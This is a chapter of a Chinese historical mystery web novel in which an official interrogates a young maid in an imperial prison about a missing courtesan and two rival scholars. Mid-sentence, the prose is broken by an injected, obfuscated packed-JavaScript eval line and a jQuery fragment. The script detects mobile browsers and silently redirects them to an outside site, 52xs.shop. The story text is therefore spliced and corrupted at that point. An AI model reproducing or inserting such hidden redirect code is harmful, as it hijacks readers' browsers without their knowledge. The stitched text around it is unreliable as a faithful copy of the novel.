霓梳稚气未脱的脸上挂着抹恬淡笑意,她跪在地上道:“裴大人那夜与姑娘一道进入屋内后,因裴大人刻意嘱咐了屋内不许有人在跟前伺候着,所以当夜是奴婢与裴大人的随侍一同在外候着……”
齐衍舟问:“裴纶为何不许你们进去?”
霓梳抿起薄唇,摇了摇头:“奴婢不知……也许是裴大人钟意姑娘已久,奈何多日来求见不得,骤然得了与姑娘独处的机会,所以不愿奴婢与随侍进去打扰吧?”
齐衍舟寻着霓梳话中意思,疑惑道:“钟意已久?那夜并不是裴纶第一次去落仙苑中?”
霓梳轻声应道:“是。大约是一个月前,那日是姑娘初次在落仙苑中露面,姑娘坐在台上弹琴,裴大人就在台下默默看着,待一曲终了,裴大人才上前与姑娘说话。”
齐衍舟:“裴纶说了什么你可知道?”
霓梳抬眸,一双圆润杏眼不加避讳将眸光放他身上,沉声开口:“裴大人说他喜欢听姑娘弹琴,说姑娘琴声如阳春白雪,曲高和寡,他愿做姑娘的知音。”
知音?
齐衍舟听罢有些愕然,不禁在心中描绘出裴纶的样子来。
他身出廊桥裴氏,乃世家大族长子,为人自然倨傲。虽看上去谦谦君子,温和容与,可观他结交之辈或世家子弟,或皇亲贵戚,便知此人极重门阀。
这样一位地上掉块金子只怕都要仰着头捡的人物,却甘愿俯下身段妄求与一清倌互为知音?岂不荒谬。
齐衍舟愈来愈好奇霁华究竟是怎样一位女子了。
她凝眉又问:“之后呢?”
霓梳道:“那日虽是姑娘在落仙苑中初次露面,可因姑娘生的极美,才情也好,未出门时已在胡同里有了名气。慕名而来的人极多,都吵着要见姑娘,可杨阿嬷却说价高者得,裴公子也出了许多,可最后……”
霓梳深吸口气,又道,“不论裴大人出价多少,另一位却像是与他对上般总多出一两银子来。如此三四回后,裴大人也恼了,便从垂帘门阁里出来,上前找另一位理论几句。”
“可当他行至那道门帘前看清内里何人时,裴大人却面色一变,匆忙离开了。”
齐衍舟听罢霓梳所言,便已知那日事情大概脉络。
裴纶对霁华一曲动情,却在落仙苑竞价那日遭人围堵,他起先还以为那人是故意与他作对,待他走上前去看时,才惊觉内里坐着的那位他居然也认得。
那人便是今早上着一身孝服,高喊“吾妻芝华”,妄图自绝于涑水河中的今科榜眼——尤司,尤子冉。
齐衍舟心中泛起嘀咕,她与身后沐晖对视一眼,只见沐大人也听得极为认真。
此事若非人为,那真当是无巧不成书了!今科状元郎与榜眼,竟在落仙苑中同时钟意于一位清倌,还为此竞价争破了头。
这事若传出去该闹出多大风波?虽则重安帝近年来睁只眼闭只眼,落仙苑成了当朝官员可出没的唯一风月之地,但北周律法自太祖皇帝时期便明文规定:凡在朝为官者一律不许狎妓,违者廷杖六十、罢黜官职永不录用。
裴纶与尤司皆为新贵。
且二人一个出自世家大族廊桥裴氏,一个是三门进士的当朝大学士鸿儒尤孟之子,按道理说家风应当森严,为何会两人同时来到妓院,高价竞同一位清倌?
不怪裴纶看清尤司便容色大变,此时随便寻位言官递张折子这两人仕途即刻断绝。
齐衍舟挺直僵硬背脊,炭火盆离她太近,熏的脸上红润发烫,她向一侧稍微倾些身子,诏狱寒凉立时便笼她身上,也受这道冷意恩赐,颓靡神色亦是缓解了些。
她道:“之后呢?”
霓梳垂首道:“之后那位与裴大人竞价的公子一连半月都流连于落仙苑中,日日以千金与姑娘论琴。那段时日里姑娘名声大噪,也正是因他所致……那位大人您也见过,正是于涑水河边叩首自绝的公子。”
齐衍舟已经猜到这人是谁,所以此刻听霓梳说完,神色如常。
霓梳则好奇眨眨眼睛:“大人,您好像早知道是他似的。您不觉得是他害的姑娘么?”
齐衍舟闻言抬眸望她一眼,只见霓梳稚气脸上写满纯真探询之意,倒不像是试探。
正欲答她,可旁边赵洄一直寻机在沐晖面前出头,此刻自觉霓梳一拘押囚犯竟敢质问上官,便上前踹她肩上一脚,厉声道:“大人问话你再答,你是什么东西?在诏狱里还敢敢反问大人?”
齐衍舟见赵洄身影,想上前拉住他可已经迟了,她宽袖一扬连赵洄的影都没抓到,见霓梳倒在地上,忙起身迈步走了过去,挡在霓梳面前。
“你做什么动手伤人?”她转身凝眉不悦,将霓梳护在身后,又斥道,“她又不是本案犯人,不过一三四岁孩子,能懂什么?好好说便是了,动什么手。”
霓梳鹅黄裙衫上赫然一个淌着泥水的脚印,将少女清丽身姿沾上污秽泥泞,好似将枝头含苞待放的花折下又弃入污泥之中,那行径荒诞刺眼。
霓梳躲在齐衍舟身后,攒紧她云青色长衫一角,脱口喊道:“姐姐,我怕!别让他打我!”
齐衍舟听到“姐姐”二字,下意识便用手扶她乌黑柔软的发顶。
周儿四五岁的时候怕黑,一到夜里便哭闹着喊她“姐姐”,霓梳声音稚气未脱,那声踉跄哭音伴着诏狱如墨的黑,恍若让她回到多年前的夜里。
可下刻察觉到身后那道锐利不解的眸光,她整个人立时回过神来,惊的身子都僵了。只好将扶霓梳头顶的手生硬撇开,再俯身作势将她攒衣角的手剥去。
但手刚触及霓梳手腕便见她瑟缩一下脖颈,齐衍舟眼尖,握着她手便身子斜斜向后一挡,将霓梳袖口撩上去半截。
只见那衣衫下一双手臂,上面遍布青紫瘀痕,一块好皮都没有。
一层叠一层,旧伤叠新伤,向上蔓延至覆着的衣衫下才窥不见。
齐衍舟俯视霓梳含着泪的双眸,小姑娘眼神坚定,哪里有什么惊惧神色,她心下陡然生出一个想法:霓梳是否故意引她看见?
她与霓梳对视一眼,默不作声将衣袖为其敛好,转过身来满面凝重,重又回到原位。
赵洄好歹也算一正六品看监百户,且他任职于诏狱中,寻常朝中哪位大臣落罪于诏狱,家中官眷少不得要说些好话打点些银钱与他行个方便。
若是寻常,齐衍舟这等初入仕途的文臣他自然放不在眼里。可近日,他在镇抚司中隐隐听闻此人与新任镇抚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295685|151648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
使大人交好,今日更是亲眼瞧见二人举止……过从亲密。
此刻听他斥责也只好拉下脸来讪笑认错:“大人,是下官方才心急了,下官给大人陪个不是。”
说完便弯身行礼。
可赵洄刚要起身,却感觉后脖颈之上突然一凉,有道重量紧贴着他皮肉,压着他起不来身!赵洄向后瞥眼,一颗心更是悬到了嗓子眼。
只见不知何时,沐晖腰间绣春刀无声出鞘压在他脖颈之上。
诏狱昏暗,只有室内微弱火光闪烁,可那把绣春刀却仿若不受光线挟制般散着摄人心魄的悠悠寒光。
“再弯些。”
沐晖声音好冷。
赵洄受那刀压制,身子又向下弯了两度,嘴上声音颤颤讨饶:“大人,下官知错了……”脖颈上压着的那刀主人,十岁时便在漠北历练,尸山血海里拼杀出来,杀人如麻,他不敢妄动,真会死的。
“还不够。”
赵洄耳边淌下黏腻血液顺着脖颈糊住了耳朵,那刀锋锐利,不知何时已将他皮肉划开。
赵洄冷汗淋漓,将身子弯了再弯,直至与足尖平齐,腿上韧带、腰骨撕裂般疼痛,可此时也只能忍着:“齐大人,求您饶小的条命。小的再不敢行事狂悖。求您大人有大量,给小的孝敬您的机会!”
他倒乖觉,知道该向谁求饶。
齐衍舟也没想到沐晖会这般,此时侧首抬眸借着炭火幽光望向他的脸。
沐大人一脸冷肃,修长挺拔身影立在逼仄狭小诏狱之中,只觉压迫感比往日更甚,手中执一把长刀压在赵洄脖颈之上,脸上表情冷到让她觉得陌生。
沐晖从没这样对过她。
往日里对她,连声音都是轻的。
齐衍舟望着他沉声道:“大人,且饶他一次罢。”
沐大人一手刀法使得凌厉,起势收刀极快,不过片刻之间,绣春刀便已入鞘归位。
赵洄骤然感觉脖颈上重量一轻,膝下软糜,趴伏在地上喘息:“多谢齐大人大量,多谢镇抚使大人不杀之恩!”
齐衍舟不去看他,重又望向霓梳:“霓姑娘,方才你说裴纶与尤司二人竞价,尤司之后行径我已知晓,那裴纶呢?尤司与霁华相处半月,裴纶在这段时间里有没有再到过落仙苑?”
霓梳见她开始问话,忙跪正身体应道:“裴大人那日之后也常来,每次来了都要问一问姑娘。得知那位公子一连半月都与姑娘待在一处后,渐渐便不来了……还是半月后听闻那位公子为姑娘散尽家财后,裴大人才与姑娘第一次接触。可谁知,只那一晚,姑娘便遭此横祸了……”
齐衍舟观她神色凄凄,可眸中却不见半点泪光,又问道:“你之前一直在鸨母面前隐晦说起那夜霁华姑娘并未出门,当时你是意在告诉我裴纶在内……”
她随手踢开脚下炭火盆,彻骨阴寒瞬间笼紧全身骨骼,涌进骨髓深处的刺痛感叫她神志清明,后面的话,她必须用心且清醒的问。
她凝眉又问,“你话中是否还有暗指……裴纶当夜曾出来过?”
霓梳跪在地上的单薄身姿蜷了蜷,低声都应道:“是!他出来过,可再没进去。第二日不知为何,奴婢推门进去,裴大人在内,姑娘却不见了踪迹……”